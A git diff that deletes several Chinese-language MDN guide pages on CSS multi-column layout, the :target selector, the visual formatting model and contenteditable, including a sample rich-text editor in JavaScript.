<div style="column-width:20em; column-gap:2em;">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
-sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
-quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
-Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
-nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
-qui officia deserunt mollit anim id est laborum</div>
-
- -

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

- -

优雅降级

- -

多列属性会被不支持多列模型的浏览器忽略。因此,为这些浏览器创建单列结构而为支持多列的浏览器创建多列结构相对来说比较简单。

- -

注意不是所有的浏览器都支持不带前缀的属性名。为了在大多数现代浏览器中应用这种特性,每个属性必须写三次: 一次用 {{ property_prefix("-moz") }} 前缀,一次用 {{ property_prefix("-webkit") }} 前缀,一次不使用前缀

- -

讨论

- -

CSS3 多列特性能帮助网页设计者最优化使用屏幕资源。如果你是一位具有丰富想象力的开发者,你会发现多列特性更多的好处,特别是在高度平衡特性方面。

- -

其它

- - - -
 
- -
 
- -
 
diff --git a/files/zh-cn/web/guide/css/using_the__colon_target_selector/index.html b/files/zh-cn/web/guide/css/using_the__colon_target_selector/index.html deleted file mode 100644 index 65883df437..0000000000 --- a/files/zh-cn/web/guide/css/using_the__colon_target_selector/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: '在选择器中使用 :target 伪类' -slug: 'Web/Guide/CSS/Using_the_:target_selector' -tags: - - CSS - - CSS_3 - - Selectors -translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors' ---- -

{{CSSRef}}

- -

为了辅助标识那些指向文档特定部分链接的目标, CSS3 选择器 引入了 {{ Cssxref(":target") }} 伪类. Netscape 7.1 已经在 Netscape 系列中加入了这个伪类的支持, 这一新的举措让页面作者能够辅助用户在较大的页面中定位。 

- -

选择一个目标

- -

{{ Cssxref(":target") }} 伪类用来指定那些包含片段标识符的 URI 的目标元素样式。 例如, http://developer.mozilla.org/en/docs/Using_the_:target_selector#Example 这个 URI 包含了 #Example 片段标识符。 在HTML中, 标识符是元素的id或者name属性,。由于这两者位于相同的命名空间, 因此, 这个示例 URI 指向的是文档顶层的 "Example" 。

- -

假设你想修改 URI 指向的任何 h2 元素,但是又不想把样式应用到任何其它同类型的元素,那么以下示例足够简单有用:

- -
h2:target {font-weight: bold;}
- -

同样的,将样式应用于特定的文档片段也是可行的。这是通过使用 URI 中相同的标识符实现的。例如,要在 #Example 文档片段中加入边框,我们可以通过如下代码实现: 

- -
#Example:target {border: 1px solid black;}
- -

定位所有元素

- -

如果想要创建应用于所有目标元素的样式,那么可以使用通用选择器:

- -
:target {color: red;}
-
- -

示例

- -

在以下示例中, 5个链接指向了同一文档中的元素。例如,选择 "First" 链接会导致 <h1 id="one"> 成为目标元素。 注意,由于目标元素有可能会被放置到浏览器窗口的顶层,因此文档可能会跳到新的滚动位置。

- -
-
<h4 id="one">...</h4> <p id="two">...</p>
-<div id="three">...</div> <a id="four">...</a> <em id="five">...</em>
-
-<a href="#one">First</a>
-<a href="#two">Second</a>
-<a href="#three">Third</a>
-<a href="#four">Fourth</a>
-<a href="#five">Fifth</a>
-
- -

结论

- -

在片段标识符指向部分文档的情况下,读者可能会对到底应该阅读文档的哪一部分感到疑惑。通过对不同的目标元素的样式进行修饰, 读者的相关疑惑会减少或者消除。

- - - - - -
-

Original Document Information

- -
    -
  • Author(s): Eric Meyer, Standards Evangelist, Netscape Communications
  • -
  • Last Updated Date: Published 30 Jun 2003
  • -
  • Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.
  • -
  • Note: This reprinted article was originally part of the DevEdge site.
  • -
-
diff --git a/files/zh-cn/web/guide/css/visual_formatting_model/index.html b/files/zh-cn/web/guide/css/visual_formatting_model/index.html deleted file mode 100644 index 640f3abbc9..0000000000 --- a/files/zh-cn/web/guide/css/visual_formatting_model/index.html +++ /dev/null @@ -1,282 +0,0 @@ ---- -title: 视觉格式化模型 -slug: Web/Guide/CSS/Visual_formatting_model -tags: - - CSS - - CSS盒模型 - - 参考 -translation_of: Web/CSS/Visual_formatting_model ---- -

{{CSSRef}}

- -

CSS 视觉格式化模型(visual formatting model)是用来处理和在视觉媒体上显示文档时使用的计算规则。该模型是 CSS 的基础概念之一。

- - - -

视觉格式化模型会根据CSS盒子模型将文档中的元素转换为一个个盒子,每个盒子的布局由以下因素决定:

- -
    -
  • 盒子的尺寸:精确指定、由约束条件指定或没有指定
  • -
  • 盒子的类型:行内盒子(inline)、行内级盒子(inline-level)、原子行内级盒子(atomic inline-level)、块盒子(block)
  • -
  • 定位方案(positioning scheme):普通流定位、浮动定位或绝对定位
  • -
  • 文档树中的其它元素:即当前盒子的子元素或兄弟元素
  • -
  • {{glossary("viewport", "视口")}}尺寸与位置
  • -
  • 所包含的图片的尺寸
  • -
  • 其他的某些外部因素
  • -
- -

该模型会根据盒子的包含块(containing block)的边界来渲染盒子。通常,盒子会创建一个包含其后代元素的包含块,但是盒子并不由包含块所限制,当盒子的布局跑到包含块的外面时称为溢出(overflow)

- -
-

译注:本文有很多相近的术语,阅读时需仔细,否则容易造成误解。为了方便读者,这里我将其整理一下。

- -

 

- -
    -
  • :block,一个抽象的概念,一个块在文档流上占据一个独立的区域,块与块之间在垂直方向上按照顺序依次堆叠。
  • -
  • 包含块:containing block,包含其他盒子的块称为包含块。
  • -
  • 盒子:box,一个抽象的概念,由CSS引擎根据文档中的内容所创建,主要用于文档元素的定位、布局和格式化等用途。盒子与元素并不是一一对应的,有时多个元素会合并生成一个盒子,有时一个元素会生成多个盒子(如匿名盒子)。
  • -
  • 块级元素:block-level element,元素的 displayblocklist-itemtable 时,该元素将成为块级元素。元素是否是块级元素仅是元素本身的属性,并不直接用于格式化上下文的创建或布局。
  • -
  • 块级盒子:block-level box,由块级元素生成。一个块级元素至少会生成一个块级盒子,但也有可能生成多个(例如列表项元素)。
  • -
  • 块盒子:block box,如果一个块级盒子同时也是一个块容器盒子(见下),则称其为块盒子。除具名块盒子之外,还有一类块盒子是匿名的,称为匿名块盒子(Anonymous block box),匿名盒子无法被CSS选择符选中。
  • -
  • 块容器盒子:block container box或block containing box,块容器盒子侧重于当前盒子作为“容器”的这一角色,它不参与当前块的布局和定位,它所描述的仅仅是当前盒子与其后代之间的关系。换句话说,块容器盒子主要用于确定其子元素的定位、布局等。
  • -
- -

注意:盒子分为“块盒子”和“块级盒子”两种,但元素只有“块级元素”,而没有“块元素”。下面的“行内级元素”也是一样。

- -
    -
  • 行内级元素:inline-level element,displayinlineinline-blockinline-table 的元素称为行内级元素。与块级元素一样,元素是否是行内级元素仅是元素本身的属性,并不直接用于格式化上下文的创建或布局。
  • -
  • 行内级盒子:inline-level box,由行内级元素生成。行内级盒子包括行内盒子和原子行内级盒子两种,区别在于该盒子是否参与行内格式化上下文的创建。
  • -
  • 行内盒子:inline box,参与行内格式化上下文创建的行内级盒子称为行内盒子。与块盒子类似,行内盒子也分为具名行内盒子和匿名行内盒子(anonymous inline box)两种。
  • -
  • 原子行内级盒子:atomic inline-level box,不参与行内格式化上下文创建的行内级盒子。原子行内级盒子一开始叫做原子行内盒子(atomic inline box),后被修正。原子行内级盒子的内容不会拆分成多行显示。
  • -
- -

另外,本文的英文原文仍未最后定稿,因此部分内容并不完整。待英文原文更新后应及时更新译文。

-
- -

盒子的生成

- -

盒子的生成是 CSS 视觉格式化模型的一部分,用于从文档元素生成盒子。盒子有不同的类型,不同类型的盒子的格式化方法也有所不同。盒子的类型取决于 CSS {{ cssxref("display") }} 属性。

- -

块级元素与块盒子

- -

当元素的 {{ cssxref("display") }} 为 blocklist-item 或 table 时,该元素将成为块级元素。一个块级元素会被格式化成一个块(例如文章的一个段落),默认按照垂直方向依次排列。

- -

每个块级盒子都会参与块格式化上下文(block formatting context)的创建,而每个块级元素都会至少生成一个块级盒子,即主块级盒子(principal block-level box)。有一些元素,比如列表项会生成额外的盒子来放置项目符号,而那些会生成列表项的元素可能会生成更多的盒子。不过,多数元素只生成一个主块级盒子。 

- -

主块级盒子包含由后代元素生成的盒子以及内容,同时它也会参与定位方案

- -

venn_blocks.png一个块级盒子可能也是一个块容器盒子。块容器盒子(block container box)要么只包含其它块级盒子,要么只包含行内盒子并同时创建一个行内格式化上下文(inline formatting context)

- -

能够注意到块级盒子与块容器盒子是不同的这一点很重要。前者描述了元素与其父元素和兄弟元素之间的行为,而后者描述了元素跟其后代之间的行为。有些块级盒子并不是块容器盒子,比如表格;而有些块容器盒子也不是块级盒子,比如非替换行内块和非替换表格单元格。

- -

一个同时是块容器盒子的块级盒子称为块盒子(block box)。

- -

匿名块盒子

- -

在某些情况下进行视觉格式化时,需要添加一些增补性的盒子,这些盒子不能用CSS选择符选中,因此称为匿名盒子(anonymous boxes)

- -

CSS选择器不能作用于匿名盒子(anonymous boxes),所以它不能被样式表赋予样式。也就是说,此时所有可继承的 CSS 属性值都为 inherit ,而所有不可继承的 CSS 属性值都为 initial

- -

块包含盒子可能只包含行内级盒子,也可能只包含块级盒子,但通常的文档都会同时包含两者,在这种情况下,就会在相邻的行内级盒子外创建匿名块盒子。

- -

示例

- -

考虑下面的HTML代码,假设 {{ HTMLElement("div") }} 和 {{ HTMLElement("p") }} 都保持默认的样式(即它们的 display 为 block):

- -
<div>Some inline text <p>followed by a paragraph</p> followed by more inline text.</div>
-
- -

此时会产生两个匿名块盒子:一个是 <p> 元素前面的那些文本(Some inline text),另一个是 <p> 元素后面的文本(followed by more inline text.)。此时会生成下面的块结构:

- -

- -

显示为:

- -
Some inline text
-followed by a paragraph
-followed by more inline text.
-
- -

对这两个匿名盒子来说,程序员无法像 {{ HTMLElement("p") }} 元素那样控制它们的样式,因此它们会从 {{ HTMLElement("div") }} 那里继承那些可继承的属性,如 {{ cssxref("color") }}。其他不可继承的属性则会设置为 initial,比如,因为没有为它们指定 {{ cssxref("background-color") }},因此其具有默认的透明背景,而 <p> 元素的盒子则能够用CSS指定背景颜色。类似地,两个匿名盒子的文本颜色总是一样的。

- -

另一种会创建匿名块盒子的情况是一个行内盒子中包含一或多个块盒子。此时,包含块盒子的盒子会拆分为两个行内盒子,分别位于块盒子的前面和后面。块盒子前面的所有行内盒子会被一个匿名块盒子包裹,块盒子后面的行内盒子也是一样。因此,块盒子将成为这两个匿名块盒子的兄弟盒子。

- -

如果有多个块盒子,而它们中间又没有行内元素,则会在这些盒子的前面和后面创建两个匿名块盒子。

- -

示例

- -

考虑下面的HTML代码,假设 {{ HTMLElement("p") }} 的 display 为 inline,{{ HTMLElement("span") }} 的 display 为 block

- -
<p>Some <em>inline</em> text <span>followed by a paragraph</span> followed by more inline text.</p>
-
- -

此时会产生两个匿名块盒子:一个是 <span> 元素前面的文本(Some inline text),另一个是其之后的文本(followed by more inline text.)。此时会生成下面的块结构:

- -

- -

显示为:

- -
Some inline text
-followed by a paragraph
-followed by more inline text.
-
- -

行内级元素和行内盒子

- -

如果一个元素的 {{ cssxref("display") }} 属性为 inlineinline-blockinline-table,则称该元素为行内级元素。显示时,它不会生成内容块,但是可以与其他行内级内容一起显示为多行。一个典型的例子是包含多种格式内容(如强调文本、图片等)的段落,就可以由行内级元素组成。

- -

- -
-

该图使用了过时的术语,见下面的“注意”(译注:指图中的 “Atomic inline boxes”)。除此之外该图还有一个错误,右边的黄色部分应该完全包含左侧的椭圆(类似于数学上的超集),因为标准所说的是“如果行内级元素生成的盒子参与行内格式化上下文的创建,则该盒子为一个行内级盒子”,见“CSS 2.2标准的9.2.2节”。

-
- -

行内级元素会生成行内级盒子,该盒子同时会参与行内格式化上下文(inline formatting context)的创建。行内盒子既是行内级盒子,也是一个其内容会参与创建其容器的行内格式化上下文的盒子,比如所有具有 display:inline 样式的非替换盒子。如果一个行内级盒子的内容不参与行内格式化上下文的创建,则称其为原子行内级盒子。而通过替换行内级元素或 display 值为 inline-blockinline-table 的元素创建的盒子不会像行内盒子一样可以被拆分为多个盒子。

- -
-

注意:开始的时候,原子行内级盒子叫做原子行内盒子,这并不准确,因为它们并不是行内盒子。后来在一次勘误时修正了这一问题。不过,当你见到某些文章中使用了“原子行内盒子”的时候,你尽可以将其理解为“原子行内级盒子”,因为这仅仅是一个名字的修改。

-
- -
-

在同一个行内格式化上下文中,原子行内级盒子不能拆分成多行:

- -
<style>
-  span {
-    display:inline; /* default value*/
-  }
-</style>
-<div style="width:20em;">
-   The text in the span <span>can be split in several
-   lines as it</span> is an inline box.
-</div>
-
- -

可能会显示为:

- -

The text in the span can be split into several
- lines as it is an inline box.

- -

而:

- -
<style>
-  span {
-    display:inline-block;
-  }
-</style>
-<div style="width:20em;">
-   The text in the span <span>cannot be split in several
-   lines as it</span> is an inline-block box.
-</div>
-
- -

则可能显示为:

- -

The text in the span 
- cannot be split into several lines as it is an
- inline-block box.

- -

其中的“cannot be split into several lines as it”永远不会换行。

-
- -

匿名行内盒子

- -
类似于块盒子,CSS引擎有时候也会自动创建一些行内盒子。这些行内盒子无法被选择符选中,因此是匿名的,它们从父元素那里继承那些可继承的属性,其他属性保持默认值 initial
- -
 
- -
一种常见的情况是CSS引擎会自动为直接包含在块盒子中的文本创建一个行内格式化上下文,在这种情况下,这些文本会被一个足够大的匿名行内盒子所包含。但是如果仅包含空格则有可能不会生成匿名行内盒子,因为空格有可能会由于 {{ cssxref("white-space") }} 的设置而被移除,从而导致最终的实际内容为空。
- -
 
- -
示例 TBD
- -

其他类型的盒子

- -

行盒子

- -

行盒子由行内格式化上下文创建,用来显示一行文本。在块盒子内部,行盒子总是从块盒子的一边延伸到另一边(译注:即占据整个块盒子的宽度)。当有浮动元素时,行盒子会从向左浮动的元素的右边缘延伸到向右浮动的元素的左边缘。

- -
行盒子更多是以技术性目的而存在的,Web开发者通常不需要关心。
- -

Run-in 盒子

- -
Run-in 盒子通过 display:run-in 来定义,它可以是块盒子,也可以是行内盒子,这取决于紧随其后的盒子的类型。Run-in 盒子可以用来在可能的情况下将标题嵌入文章的第一个段落中。
- -
 
- -
-

注意:Run-in 盒子已经在CSS 2.1的标准中移除了,但可能会在CSS 3中作为一个实验性的内容再次加入。因此最好不要将其用于正式项目。

-
- -

由其他模型引入的盒子

- -
除了行内格式化上下文和块格式化上下文之外,CSS还定义了几种内容模型,这些模型同样可以应用于元素。这些模型一般用来描述布局,它们可能会定义一些额外的盒子类型:
- -
 
- -
    -
  • 表格内容模型可能会创建一个表格包装器盒子和一个表格盒子,以及多个其他盒子如表格标题盒子等
  • -
  • 多列内容模型可能会在容器盒子和内容之间创建多个列盒子
  • -
  • 实验性的网格内容模型或flex-box内容模型同样会创建一些其他种类的盒子
  • -
- -

定位规则

- -

一旦生成了盒子以后,CSS引擎就需要定位它们以完成布局。下面是定位盒子时所使用的规则:

- -
    -
  • 普通流:按照次序依次定位每个盒子
  • -
  • 浮动:将盒子从普通流中单独拎出来,将其放到外层盒子的某一边
  • -
  • 绝对定位:按照绝对位置来定位盒子,其位置根据盒子的包含元素所建立的绝对坐标系来计算,因此绝对定位元素有可能会覆盖其他元素
  • -
- -

普通流

- -
在普通流中,盒子会依次放置。在块格式化上下文中,盒子在垂直方向依次排列;而在行内格式化上下文中,盒子则水平排列。当CSS的 {{ cssxref("position") }} 属性为 static 或 relative,并且 {{ cssxref("float") }} 为 none 时,其布局方式为普通流。
- -

示例

- -
-

在普通流的块格式化上下文中,盒子会垂直依次排列:

- -

[TODO 图片]

- -

在普通流的行内格式化上下文中,盒子会水平依次排列:

- -

[TODO 图片]

-
- -
-

普通流又有两种情况:静态定位和相对定位:

- -

{{ cssxref("position") }} 为 static 时为静态定位,此时每个盒子根据普通流所计算出的确切位置来定位。

- -

[TODO 图片]

- -

当 {{ cssxref("position") }} 为 relative 时为相对定位,此时每个盒子还会根据 {{ cssxref("top") }}、{{ cssxref("bottom") }}、{{ cssxref("left") }} 和 {{ cssxref("right") }} 属性的值在其原本所在的位置上产生指定大小的偏移。

-
- -

浮动

- -

在浮动定位中,浮动盒子会浮动到当前行的开始或尾部位置。这会导致普通流中的文本及其他内容会“流”到浮动盒子的边缘处,除非元素通过 {{ cssxref("clear") }} 清除了前面的浮动。

- -

一个盒子的 {{ cssxref("float") }} 值不为 none,并且其 {{ cssxref("position") }} 为 static 或 relative 时,该盒子为浮动定位。如果将 {{ cssxref("float") }} 设置为 left,浮动盒子会定位到当前行盒子的开始位置(左侧),如果设置为 right,浮动盒子会定位到当前行盒子的尾部位置(右侧)。不管是左浮动还是右浮动,行盒子都会伸缩以适应浮动盒子的大小。

- -

[TODO 图片]

- -

绝对定位

- -

在绝对定位中,盒子会完全从当前流中移除,并且不会再与其有任何联系(译注:此处仅指定位和位置计算,而绝对定位的元素在文档树中仍然与其他元素有父子或兄弟等关系),其位置会使用 {{ cssxref("top") }}、{{ cssxref("bottom") }}、{{ cssxref("left") }} 和 {{ cssxref("right") }} 相对其包含块进行计算。

- -

如果元素的 {{ cssxref("position") }} 为 absolute 或 fixed,该元素为绝对定位。

- -

对固定位置的元素来说,其包含块为整个视口,该元素相对视口进行绝对定位,因此滚动时元素的位置并不会改变。

- -

参见

- -
    -
  • {{css_key_concepts}}
  • -
diff --git a/files/zh-cn/web/guide/html/content_editable/index.html b/files/zh-cn/web/guide/html/content_editable/index.html deleted file mode 100644 index 00f44d6fd7..0000000000 --- a/files/zh-cn/web/guide/html/content_editable/index.html +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: Content Editable -slug: Web/Guide/HTML/Content_Editable -translation_of: Web/Guide/HTML/Editable_content ---- -

在HTML中,任何元素都可以被编辑。通过使用一些JavaScript事件处理程序,您可以将您的网页转换为完整且快速的富文本编辑器。本文提供了有关此功能的一些信息。

- -

它是如何工作的?

- -

为了使元素可编辑,你所要做的就是在html标签上设置"contenteditable"属性,它几乎支持所有的HTML元素。

- -

下面是一个简单的示例,创建一个"contenteditable"属性为"true"的div元素,用户就可以编辑其内容了。

- -
<div contenteditable="true">
-  This text can be edited by the user.
-</div>
- -

这是上面代码运行的结果:

- -

{{ EmbedLiveSample('How_does_it_work') }}

- -

执行命令设置可编辑区域

- -

当一个HTML元素的contenteditable属性被设置为true时,{{ domxref("document.execCommand()") }} 方法便可使用。通过该方法,你可以运行相关commands 来操作可编辑区域的内容。其中大多数命令都会影响文档的选择,例如,给文本提供一个样式(加粗,倾斜等)、插入新元素(如增加一个链接)、影响一整行文本(如缩进排版)。当使用contentEditable后,调用execCommand()方法将影响当前处于活动状态的可编辑元素

- -

在标记生成上的不同点

- -

因为各个浏览器在标记生成上的不同,因此跨浏览器使用 contenteditable 一直以来都是痛点,例如一些看起来十分简单的事情,如: 当你按下Enter/Return键在可编辑区域中创建一个新的文本行时,不同主流浏览器对此有不同处理(Firefox 插入{{htmlelement("br")}}、IE/Opera将使用{{htmlelement("p")}}、 Chrome/Safari 将使用 {{htmlelement("div")}})

- -

幸运的是在现代浏览器中,这些不同都趋于一致了。截止到Firefox 60,火狐开始使用{{htmlelement("div")}}元素来包裹新生成的文本行,以与Chrome, modern Opera, Edge, and Safari.的行为趋于一致

- -
-

注意: Internet Explorer使用 {{htmlelement("p")}} 元素而不是 <div>.

-
- -

如果你想使用不同的方式创建新的段落,上面所有浏览器都支持{{domxref("document.execCommand")}}方法,该方法提供的 defaultParagraphSeparator 命令能够让你以不同的方式创建新的段落例如, 使用 {{htmlelement("p")}} 元素:

- -
document.execCommand("defaultParagraphSeparator", false, "p");
- -

另外,从FireFox 55开始,火狐还为defaultParagraphSeparator支持非标准化参数br。如果你的Web应用程序通过检查浏览器是否为火狐来支持旧的FireFox行为,这将非常有用。但不幸的是,你并没有多少时间来为新的Firefox修复你的Web应用,你可以在初始化designModecontenteditable时插入下面的代码来恢复较早的Firefox行为:

- -
document.execCommand("defaultParagraphSeparator", false, "br");
- -

安全性

- -

出于安全原因,火狐浏览器默认不允许JavaScript代码使用剪贴板相关特性(如复制、粘贴等)。你可以在about:config中设置如下选项来启用它们:

- -
user_pref("capability.policy.policynames", "allowclipboard");
-user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org");
-user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "allAccess");
-user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");
- -

例子:一个简单但完整的富文本编辑器

- -
-
<!doctype html>
-<html>
-<head>
-<title>Rich Text Editor</title>
-<script type="text/javascript">
-var oDoc, sDefTxt;
-
-function initDoc() {
-  oDoc = document.getElementById("textBox");
-  sDefTxt = oDoc.innerHTML;
-  if (document.compForm.switchMode.checked) { setDocMode(true); }
-}
-
-function formatDoc(sCmd, sValue) {
-  if (validateMode()) { document.execCommand(sCmd, false, sValue); oDoc.focus(); }
-}
-
-function validateMode() {
-  if (!document.compForm.switchMode.checked) { return true ; }
-  alert("Uncheck \"Show HTML\".");
-  oDoc.focus();
-  return false;
-}
-
-function setDocMode(bToSource) {
-  var oContent;
-  if (bToSource) {
-    oContent = document.createTextNode(oDoc.innerHTML);
-    oDoc.innerHTML = "";
-    var oPre = document.createElement("pre");
-    oDoc.contentEditable = false;
-    oPre.id = "sourceText";
-    oPre.contentEditable = true;
-    oPre.appendChild(oContent);
-    oDoc.appendChild(oPre);
-    document.execCommand("defaultParagraphSeparator", false, "div");
-  } else {
-    if (document.all) {
-      oDoc.innerHTML = oDoc.innerText;
-    } else {
-      oContent = document.createRange();
-      oContent.selectNodeContents(oDoc.firstChild);
-      oDoc.innerHTML = oContent.toString();
-    }
-    oDoc.contentEditable = true;
-  }
-  oDoc.focus();
-}
-
-function printDoc() {
-  if (!validateMode()) { return; }
-  var oPrntWin = window.open("","_blank","width=450,height=470,left=400,top=100,menubar=yes,toolbar=no,location=no,scrollbars=yes");
-  oPrntWin.document.open();
-  oPrntWin.document.write("<!doctype html><html><head><title>Print<\/title><\/head><body onload=\"print();\">" + oDoc.innerHTML + "<\/body><\/html>");
-  oPrntWin.document.close();
-}
-</script>
-<style type="text/css">
-.intLink { cursor: pointer; }
-img.intLink { border: 0; }
-#toolBar1 select { font-size:10px; }
-#textBox {
-  width: 540px;
-  height: 200px;
-  border: 1px #000000 solid;
-  padding: 12px;
-  overflow: scroll;
-}
-#textBox #sourceText {
-  padding: 0;
-  margin: 0;
-  min-width: 498px;
-  min-height: 200px;
-}
-#editMode label { cursor: pointer; }
-</style>
-</head>
-<body onload="initDoc();">
-<form name="compForm" method="post" action="sample.php" onsubmit="if(validateMode()){this.myDoc.value=oDoc.innerHTML;return true;}return false;">
-<input type="hidden" name="myDoc">
-<div id="toolBar1">
-<select onchange="formatDoc('formatblock',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option selected>- formatting -</option>
-<option value="h1">Title 1 &lt;h1&gt;</option>
-<option value="h2">Title 2 &lt;h2&gt;</option>
-<option value="h3">Title 3 &lt;h3&gt;</option>
-<option value="h4">Title 4 &lt;h4&gt;</option>
-<option value="h5">Title 5 &lt;h5&gt;</option>
-<option value="h6">Subtitle &lt;h6&gt;</option>
-<option value="p">Paragraph &lt;p&gt;</option>
-<option value="pre">Preformatted &lt;pre&gt;</option>
-</select>
-<select onchange="formatDoc('fontname',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option class="heading" selected>- font -</option>
-<option>Arial</option>
-<option>Arial Black</option>
-<option>Courier New</option>
-<option>Times New Roman</option>
-</select>
-<select onchange="formatDoc('fontsize',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option class="heading" selected>- size -</option>
-<option value="1">Very small</option>
-<option value="2">A bit small</option>
-<option value="3">Normal</option>
-<option value="4">Medium-large</option>
-<option value="5">Big</option>
-<option value="6">Very big</option>
-<option value="7">Maximum</option>
-</select>
-<select onchange="formatDoc('forecolor',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option class="heading" selected>- color -</option>
-<option value="red">Red</option>
-<option value="blue">Blue</option>
-<option value="green">Green</option>
-<option value="black">Black</option>
-</select>
-<select onchange="formatDoc('backcolor',this[this.selectedIndex].value);this.selectedIndex=0;">
-<option class="heading" selected>- background -</option>
-<option value="red">Red</option>
-<option value="green">Green</option>
-<option value="black">Black</option>
-</select>
-</div>
-<div id="toolBar2">
-<img class="intLink" title="Clean" onclick="if(validateMode()&&confirm('Are you sure?')){oDoc.innerHTML=sDefTxt};" src="data:image/gif;base64,R0lGODlhFgAWAIQbAD04KTRLYzFRjlldZl9vj1dusY14WYODhpWIbbSVFY6O7IOXw5qbms+wUbCztca0ccS4kdDQjdTLtMrL1O3YitHa7OPcsd/f4PfvrvDv8Pv5xv///////////////////yH5BAEKAB8ALAAAAAAWABYAAAV84CeOZGmeaKqubMteyzK547QoBcFWTm/jgsHq4rhMLoxFIehQQSAWR+Z4IAyaJ0kEgtFoLIzLwRE4oCQWrxoTOTAIhMCZ0tVgMBQKZHAYyFEWEV14eQ8IflhnEHmFDQkAiSkQCI2PDC4QBg+OAJc0ewadNCOgo6anqKkoIQA7" />
-<img class="intLink" title="Print" onclick="printDoc();" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oEBxcZFmGboiwAAAAIdEVYdENvbW1lbnQA9syWvwAAAuFJREFUOMvtlUtsjFEUx//n3nn0YdpBh1abRpt4LFqtqkc3jRKkNEIsiIRIBBEhJJpKlIVo4m1RRMKKjQiRMJRUqUdKPT71qpIpiRKPaqdF55tv5vvusZjQTjOlseUkd3Xu/3dPzusC/22wtu2wRn+jG5So/OCDh8ycMJDflehMlkJkVK7KUYN+ufzA/RttH76zaVocDptRxzQtNi3mRWuPc+6cKtlXZ/sddP2uu9uXlmYXZ6Qm8v4Tz8lhF1H+zDQXt7S8oLMXtbF4e8QaFHjj3kbP2MzkktHpiTjp9VH6iHiA+whtAsX5brpwueMGdONdf/2A4M7ukDs1JW662+XkqTkeUoqjKtOjm2h53YFL15pSJ04Zc94wdtibr26fXlC2mzRvBccEbz2kiRFD414tKMlEZbVGT33+qCoHgha81SWYsew0r1uzfNylmtpx80pngQQ91LwVk2JGvGnfvZG6YcYRAT16GFtW5kKKfo1EQLtfh5Q2etT0BIWF+aitq4fDbk+ImYo1OxvGF03waFJQvBCkvDffRyEtxQiFFYgAZTHS0zwAGD7fG5TNnYNTp8/FzvGwJOfmgG7GOx0SAKKgQgDMgKBI0NJGMEImpGDk5+WACEwEd0ywblhGUZ4Hw5OdUekRBLT7DTgdEgxACsIznx8zpmWh7k4rkpJcuHDxCul6MDsmmBXDlWCH2+XozSgBnzsNCEE4euYV4pwCpsWYPW0UHDYBKSWu1NYjENDReqtKjwn2+zvtTc1vMSTB/mvev/WEYSlASsLimcOhOBJxw+N3aP/SjefNL5GePZmpu4kG7OPr1+tOfPyUu3BecWYKcwQcDFmwFKAUo90fhKDInBCAmvqnyMgqUEagQwCoHBDc1rjv9pIlD8IbVkz6qYViIBQGTJPx4k0XpIgEZoRN1Da0cij4VfR0ta3WvBXH/rjdCufv6R2zPgPH/e4pxSBCpeatqPrjNiso203/5s/zA171Mv8+w1LOAAAAAElFTkSuQmCC">
-<img class="intLink" title="Undo" onclick="formatDoc('undo');" src="data:image/gif;base64,R0lGODlhFgAWAOMKADljwliE33mOrpGjuYKl8aezxqPD+7/I19DV3NHa7P///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARR8MlJq7046807TkaYeJJBnES4EeUJvIGapWYAC0CsocQ7SDlWJkAkCA6ToMYWIARGQF3mRQVIEjkkSVLIbSfEwhdRIH4fh/DZMICe3/C4nBQBADs=" />
-<img class="intLink" title="Redo" onclick="formatDoc('redo');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAB1ChDljwl9vj1iE34Kl8aPD+7/I1////yH5BAEKAAcALAAAAAAWABYAAANKeLrc/jDKSesyphi7SiEgsVXZEATDICqBVJjpqWZt9NaEDNbQK1wCQsxlYnxMAImhyDoFAElJasRRvAZVRqqQXUy7Cgx4TC6bswkAOw==" />
-<img class="intLink" title="Remove formatting" onclick="formatDoc('removeFormat')" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9oECQMCKPI8CIIAAAAIdEVYdENvbW1lbnQA9syWvwAAAuhJREFUOMtjYBgFxAB501ZWBvVaL2nHnlmk6mXCJbF69zU+Hz/9fB5O1lx+bg45qhl8/fYr5it3XrP/YWTUvvvk3VeqGXz70TvbJy8+Wv39+2/Hz19/mGwjZzuTYjALuoBv9jImaXHeyD3H7kU8fPj2ICML8z92dlbtMzdeiG3fco7J08foH1kurkm3E9iw54YvKwuTuom+LPt/BgbWf3//sf37/1/c02cCG1lB8f//f95DZx74MTMzshhoSm6szrQ/a6Ir/Z2RkfEjBxuLYFpDiDi6Af///2ckaHBp7+7wmavP5n76+P2ClrLIYl8H9W36auJCbCxM4szMTJac7Kza////R3H1w2cfWAgafPbqs5g7D95++/P1B4+ECK8tAwMDw/1H7159+/7r7ZcvPz4fOHbzEwMDwx8GBgaGnNatfHZx8zqrJ+4VJBh5CQEGOySEua/v3n7hXmqI8WUGBgYGL3vVG7fuPK3i5GD9/